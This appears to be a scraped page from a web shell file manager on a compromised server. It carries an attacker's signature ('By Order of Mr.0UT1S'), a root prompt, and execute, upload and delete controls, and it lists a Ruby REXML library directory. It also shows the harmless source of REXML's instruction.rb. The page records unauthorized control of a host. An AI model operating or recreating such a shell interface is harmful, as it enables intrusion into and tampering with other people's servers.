opt
/
alt
/
ruby26
/
lib64
/
ruby
/
2.6.0
/
rexml
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] dtd
N/A
[DIR] formatters
N/A
[DIR] light
N/A
[DIR] parsers
N/A
[DIR] validation
N/A
attlistdecl.rb
1.92 KB
Rename
Delete
attribute.rb
5.53 KB
Rename
Delete
cdata.rb
1.59 KB
Rename
Delete
child.rb
2.66 KB
Rename
Delete
comment.rb
2.12 KB
Rename
Delete
doctype.rb
7.97 KB
Rename
Delete
document.rb
9.55 KB
Rename
Delete
element.rb
44.50 KB
Rename
Delete
encoding.rb
1.16 KB
Rename
Delete
entity.rb
5.40 KB
Rename
Delete
functions.rb
12.41 KB
Rename
Delete
instruction.rb
2.14 KB
Rename
Delete
namespace.rb
1.40 KB
Rename
Delete
node.rb
2.18 KB
Rename
Delete
output.rb
553 bytes
Rename
Delete
parent.rb
4.27 KB
Rename
Delete
parseexception.rb
1.25 KB
Rename
Delete
quickpath.rb
9.12 KB
Rename
Delete
rexml.rb
1.29 KB
Rename
Delete
sax2listener.rb
3.61 KB
Rename
Delete
security.rb
824 bytes
Rename
Delete
source.rb
7.67 KB
Rename
Delete
streamlistener.rb
3.84 KB
Rename
Delete
syncenumerator.rb
716 bytes
Rename
Delete
text.rb
13.85 KB
Rename
Delete
undefinednamespaceexception.rb
244 bytes
Rename
Delete
xmldecl.rb
2.91 KB
Rename
Delete
xmltokens.rb
2.32 KB
Rename
Delete
xpath.rb
3.42 KB
Rename
Delete
xpath_parser.rb
28.59 KB
Rename
Delete
# frozen_string_literal: false require_relative "child" require_relative "source" module REXML # Represents an XML Instruction; IE, <? ... ?> # TODO: Add parent arg (3rd arg) to constructor class Instruction < Child START = "<?" STOP = "?>" # target is the "name" of the Instruction; IE, the "tag" in <?tag ...?> # content is everything else. attr_accessor :target, :content # Constructs a new Instruction # @param target can be one of a number of things. If String, then # the target of this instruction is set to this. If an Instruction, # then the Instruction is shallowly cloned (target and content are # copied). # @param content Must be either a String, or a Parent. Can only # be a Parent if the target argument is a Source. Otherwise, this # String is set as the content of this instruction. def initialize(target, content=nil) case target when String super() @target = target @content = content when Instruction super(content) @target = target.target @content = target.content else message = "processing instruction target must be String or REXML::Instruction: " message << "<#{target.inspect}>" raise ArgumentError, message end @content.strip! if @content end def clone Instruction.new self end # == DEPRECATED # See the rexml/formatters package # def write writer, indent=-1, transitive=false, ie_hack=false Kernel.warn( "#{self.class.name}.write is deprecated", uplevel: 1) indent(writer, indent) writer << START writer << @target if @content writer << ' ' writer << @content end writer << STOP end # @return true if other is an Instruction, and the content and target # of the other matches the target and content of this object. def ==( other ) other.kind_of? Instruction and other.target == @target and other.content == @content end def node_type :processing_instruction end def inspect "<?p-i #{target} ...?>" end end end
Save